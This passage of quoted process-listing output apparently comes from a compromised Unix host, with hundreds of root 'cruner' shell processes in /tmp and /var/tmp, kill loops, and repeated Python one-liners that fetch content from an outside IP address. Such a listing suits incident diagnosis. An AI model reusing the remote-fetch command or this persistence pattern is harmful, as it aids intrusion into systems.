/var/tmp/cruner > root 372 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29359 5697 0 - ? 0:00 <defunct> > root 9813 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7680 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16530 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15314 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8720 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 29018 19707 0 15:45:53 ? 0:00 /bin/ksh -p /bin/kill -9 > root 5537 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6809 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29096 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21550 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19225 7738 0 15:45:42 ? 0:00 sleep 60 > root 8017 19604 0 15:45:31 ? 0:00 bash -sh > root 25347 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20246 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29214 18925 0 15:45:08 ? 0:00 sleep 60 > root 10125 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4632 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19445 1458 0 15:44:31 ? 0:00 bash -sh > root 12748 13347 0 - ? 0:00 <defunct> > root 10987 28663 0 - ? 0:00 <defunct> > root 7693 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26468 18381 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 19096 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10058 14311 0 15:46:03 ? 0:00 bash -sh > root 7034 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21185 15027 0 - ? 0:00 <defunct> > root 5283 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7600 27773 0 15:45:04 ? 0:00 bash -sh > root 19476 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7102 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15285 29490 0 15:45:41 ? 0:00 sleep 60 > root 3004 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5696 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28149 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27169 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27699 5911 0 - ? 0:00 <defunct> > root 15255 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20786 13650 0 15:45:38 ? 0:00 sleep 60 > root 24718 15966 0 - ? 0:00 <defunct> > root 631 5480 0 15:45:48 ? 0:00 sleep 60 > root 16920 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24561 26969 0 - ? 0:00 <defunct> > root 16624 17046 0 15:45:42 ? 0:00 xargs kill -9 > root 8939 21307 0 - ? 0:00 <defunct> > root 19852 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26790 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13638 17150 0 15:45:59 ? 0:00 sleep 60 > root 26855 26840 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7664 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22848 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17189 26053 0 - ? 0:00 <defunct> > root 13314 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2296 29518 0 15:45:19 ? 0:00 sleep 60 > root 11293 6708 0 15:44:15 ? 0:00 bash -sh > root 13338 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23512 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15637 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28691 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15829 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19591 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6519 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 258 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14336 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3837 21026 0 - ? 0:00 <defunct> > root 12306 13979 0 15:45:21 ? 0:00 sleep 60 > root 995 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19177 18219 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5098 16927 0 - ? 0:00 <defunct> > root 23832 24549 0 15:45:47 ? 0:00 bash -sh > root 3090 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25129 10581 0 15:45:07 ? 0:00 bash -sh > root 20382 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11785 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25836 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3846 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28852 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8868 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11253 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10975 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15752 3980 0 - ? 0:00 <defunct> > root 27560 26368 0 15:43:41 ? 0:00 bash -sh > root 16797 7851 0 15:45:29 ? 0:00 sleep 60 > root 4103 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19793 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11675 6071 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19533 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25711 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10592 24445 0 15:45:10 ? 0:00 bash -sh > root 3680 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2373 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23630 19159 0 15:45:07 ? 0:00 sleep 60 > root 13976 13176 0 15:45:50 ? 0:00 bash -sh > root 25100 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19480 879 0 15:44:53 ? 0:00 bash -sh > root 5412 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17311 14006 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11138 3687 0 15:45:10 ? 0:00 sh /var/tmp/cruner > root 22063 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18729 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23353 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28220 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25605 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13816 9646 0 - ? 0:00 <defunct> > root 14075 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9677 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4933 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8146 6466 0 15:45:25 ? 0:00 bash -sh > root 25076 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15968 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22326 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8583 11605 0 - ? 0:00 <defunct> > root 28143 15369 0 15:45:18 ? 0:00 sleep 60 > root 22352 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22578 25908 0 15:42:34 ? 0:00 bash -sh > root 19806 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27256 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9825 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6080 25662 0 - ? 0:00 <defunct> > root 22946 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25371 1315 0 - ? 0:00 <defunct> > root 13691 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 634 10494 0 15:45:34 ? 0:00 sleep 60 > root 6041 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18662 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11054 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27078 15673 0 - ? 0:00 <defunct> > root 2813 26564 0 15:45:14 ? 0:00 bash -sh > root 22997 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26677 15075 0 15:45:34 ? 0:00 sleep 60 > root 15686 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11010 27592 0 - ? 0:00 <defunct> > root 29621 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14185 20557 0 - ? 0:00 <defunct> > root 21382 28855 0 - ? 0:00 <defunct> > root 19890 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21477 24242 0 15:45:06 ? 0:00 bash -sh > root 27545 22492 0 15:45:57 ? 0:00 sleep 60 > root 13719 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25876 24112 0 15:45:39 ? 0:00 bash -sh > root 17206 13796 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15692 25370 0 - ? 0:00 <defunct> > root 19331 9040 0 15:44:53 ? 0:00 bash -sh > root 18903 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18094 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14811 1345 0 15:46:04 ? 0:00 /bin/ksh -p /bin/kill -9 > root 19247 15780 0 15:44:53 ? 0:00 bash -sh > root 11976 22512 0 15:45:41 ? 0:00 bash -sh > root 24796 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1395 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29153 20321 0 15:45:34 ? 0:00 sleep 60 > root 17911 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29689 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21551 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10785 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23765 22876 0 15:45:33 ? 0:00 sleep 60 > root 21629 22543 0 15:45:33 ? 0:00 sleep 60 > root 13113 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14533 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12208 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14443 21693 0 - ? 0:00 <defunct> > root 17365 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17775 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3118 3719 0 15:44:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5573 21948 0 15:45:54 ? 0:00 sleep 60 > root 4804 13988 0 - ? 0:00 <defunct> > root 22139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18772 960 0 15:45:42 ? 0:00 sleep 60 > root 9555 20186 0 15:43:26 ? 0:00 bash -sh > root 12779 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17097 7814 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20112 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10894 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19632 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15512 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2221 2916 0 Oct 05 ? 4:15 /opt/csw/sbin/sshd -R > root 7504 29928 0 - ? 0:00 <defunct> > root 22885 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10255 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3600 26254 0 15:45:58 ? 0:00 sleep 60 > root 21524 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1671 4731 0 - ? 0:00 <defunct> > root 26685 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25519 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9650 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1290 15801 0 15:45:34 ? 0:00 sleep 60 > root 12826 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1604 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7348 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26992 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27049 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 529 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26305 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11895 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9160 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27211 24369 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2684 23519 0 15:45:48 ? 0:00 xargs kill -9 > root 16805 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29599 5441 0 15:45:48 ? 0:00 bash -sh > root 15672 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3447 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4942 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14025 337 0 15:45:59 ? 0:00 bash -sh > root 9786 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27409 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21975 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25913 21762 0 15:45:13 ? 0:00 sh /var/tmp/cruner > root 351 19241 0 15:45:27 ? 0:00 xargs kill -9 > root 27861 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17343 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5507 6769 0 15:45:20 ? 0:00 sleep 60 > root 14494 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15272 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3131 21648 0 15:45:44 ? 0:00 xargs kill -9 > root 6714 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21456 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21064 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15612 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7996 17277 0 15:45:15 ? 0:00 sleep 60 > root 26297 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22642 21168 0 15:45:42 ? 0:00 sleep 60 > root 8251 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13933 8657 0 - ? 0:00 <defunct> > root 28946 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13521 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13187 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8103 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 736 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7228 8801 0 - ? 0:00 <defunct> > root 11224 4070 0 - ? 0:00 <defunct> > root 10417 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8529 7514 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23955 19630 0 15:46:01 ? 0:00 bash -sh > root 5379 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25651 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21572 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17410 19598 0 - ? 0:00 <defunct> > root 17359 10558 0 15:45:32 ? 0:00 xargs kill -9 > root 15111 25077 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 3603 21705 0 - ? 0:00 <defunct> > root 3950 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20993 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4009 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29428 21946 0 15:45:48 ? 0:00 sh /tmp/cruner > root 9281 28977 0 15:44:24 ? 0:00 bash -sh > root 7089 1929 0 15:45:09 ? 0:00 bash -sh > root 25549 13986 0 15:45:07 ? 0:00 bash -sh > root 27604 28452 0 15:45:18 ? 0:00 sleep 60 > root 10035 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4172 2337 0 15:45:48 ? 0:00 sleep 60 > root 3257 10539 0 15:44:02 ? 0:00 bash -sh > root 10094 20683 0 15:45:41 ? 0:00 sleep 60 > root 25950 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27022 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25141 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4451 8595 0 15:45:58 ? 0:00 sleep 60 > root 14253 20259 0 15:45:41 ? 0:00 bash -sh > root 13304 29961 0 - ? 0:00 <defunct> > root 1248 12679 0 15:45:58 ? 0:00 sleep 60 > root 18807 3618 0 15:44:17 ? 0:00 bash -sh > root 13089 18912 0 - ? 0:00 <defunct> > root 13840 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15793 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20198 26998 0 - ? 0:00 <defunct> > root 26605 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 24419 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20176 8861 0 15:44:31 ? 0:00 bash -sh > root 25138 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28071 723 0 15:45:18 ? 0:00 sleep 60 > root 2657 12458 0 15:45:27 ? 0:00 sleep 60 > root 10202 17721 0 - ? 0:00 <defunct> > root 16292 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2547 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28921 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10018 14360 0 - ? 0:00 <defunct> > root 28356 29514 0 15:45:18 ? 0:00 sleep 60 > root 7009 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1134 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13947 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11614 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26073 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5216 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5323 2899 0 - ? 0:00 <defunct> > root 11855 10125 0 15:44:24 ? 0:00 bash -sh > root 18716 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14133 12605 0 - ? 0:00 <defunct> > root 5630 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29049 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21866 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17592 17587 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12179 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13910 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23162 23646 0 15:45:47 ? 0:00 bash -sh > root 1825 300 0 15:45:35 ? 0:00 xargs kill -9 > root 8616 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21586 25972 0 - ? 0:00 <defunct> > root 6338 16391 0 - ? 0:00 <defunct> > root 12605 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8576 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26434 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11619 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4698 28889 0 15:45:44 ? 0:00 bash -sh > root 22473 4676 0 15:45:17 ? 0:00 sleep 60 > root 13245 9083 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 28120 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17135 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19944 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5503 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20315 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15724 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7807 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4176 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29074 6847 0 15:45:47 ? 0:00 xargs kill -9 > root 6317 22527 0 - ? 0:00 <defunct> > root 10776 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13782 20774 0 - ? 0:00 <defunct> > root 12714 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8368 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2557 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9942 7473 0 - ? 0:00 <defunct> > root 19642 29108 0 15:45:51 ? 0:00 bash -sh > root 4640 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24484 15858 0 - ? 0:00 <defunct> > root 23771 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3291 25873 0 15:45:04 ? 0:00 bash -sh > root 16173 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26766 28381 0 15:45:18 ? 0:00 sleep 60 > root 18078 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19866 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19329 7133 0 15:45:06 ? 0:00 sleep 60 > root 26694 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27802 23989 0 15:46:02 ? 0:00 sleep 60 > root 20543 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3667 23278 0 - ? 0:00 <defunct> > root 12807 7145 0 15:45:11 ? 0:00 bash -sh > root 25939 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3104 3101 0 15:43:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16081 18013 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 13771 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24566 28133 0 - ? 0:00 <defunct> > root 27770 25143 0 15:45:27 ? 0:00 xargs kill -9 > root 374 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12785 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7321 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23494 24929 0 15:46:01 ? 0:00 bash -sh > root 387 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16329 4657 0 - ? 0:00 <defunct> > root 18440 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15501 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18123 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1453 19391 0 15:45:48 ? 0:00 sleep 60 > root 9466 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17511 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18342 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12237 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20389 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26031 13364 0 - ? 0:00 <defunct> > root 1203 24933 0 15:45:48 ? 0:00 sleep 60 > root 22160 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24369 15287 0 15:45:47 ? 0:00 bash -sh > root 2939 6198 0 - ? 0:00 <defunct> > root 25610 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20225 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18010 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21431 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9678 11968 0 15:43:43 ? 0:00 bash -sh > root 8327 21624 0 15:45:54 ? 0:00 sleep 60 > root 12382 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9611 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26577 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19803 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12490 655 0 15:45:59 ? 0:00 sleep 60 > root 12146 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27868 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21751 22146 0 15:45:06 ? 0:00 bash -sh > root 27289 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25505 11020 0 - ? 0:00 <defunct> > root 11990 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22161 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27972 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21151 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27612 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6254 20647 0 15:46:03 ? 0:00 bash -sh > root 4905 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14434 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20119 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17630 18524 0 15:45:12 ? 0:00 sleep 60 > root 10728 870 0 15:44:51 ? 0:00 bash -sh > root 28269 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15498 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16082 938 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 11871 20549 0 - ? 0:00 <defunct> > root 24286 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18019 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6878 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10932 1 0 01:08:40 ? 0:00 sh /var/tmp/cruner > root 17437 18038 0 - ? 0:00 <defunct> > root 14080 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9785 9751 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10734 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17804 13573 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6856 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5728 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13336 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18954 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26963 10898 0 15:43:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14861 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26330 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1709 6118 0 15:45:48 ? 0:00 bash -sh > root 5096 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6203 15118 0 15:45:35 ? 0:00 sleep 60 > root 10681 10665 0 - ? 0:00 <defunct> > root 10495 10619 0 15:45:50 ? 0:00 sh /tmp/cruner > root 18310 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15387 9289 0 15:44:16 ? 0:00 bash -sh > root 22601 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4712 25707 0 15:45:58 ? 0:00 sleep 60 > root 3155 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23207 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10040 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3003 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14754 13149 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 21443 8194 0 - ? 0:00 <defunct> > root 13535 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27847 20358 0 - ? 0:00 <defunct> > root 24712 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8724 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18080 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1253 9452 0 - ? 0:00 <defunct> > root 13540 13506 0 15:45:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7465 16504 0 15:44:34 ? 0:00 bash -sh > root 20227 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5033 18489 0 - ? 0:00 <defunct> > root 4016 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4351 20894 0 15:46:03 ? 0:00 bash -sh > root 29431 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11854 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29627 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19208 4828 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7633 25839 0 - ? 0:00 <defunct> > root 18064 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28784 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25270 21858 0 15:45:52 ? 0:00 /bin/ksh -p /bin/kill -9 > root 13784 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12987 773 0 - ? 0:00 <defunct> > root 5703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20630 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12073 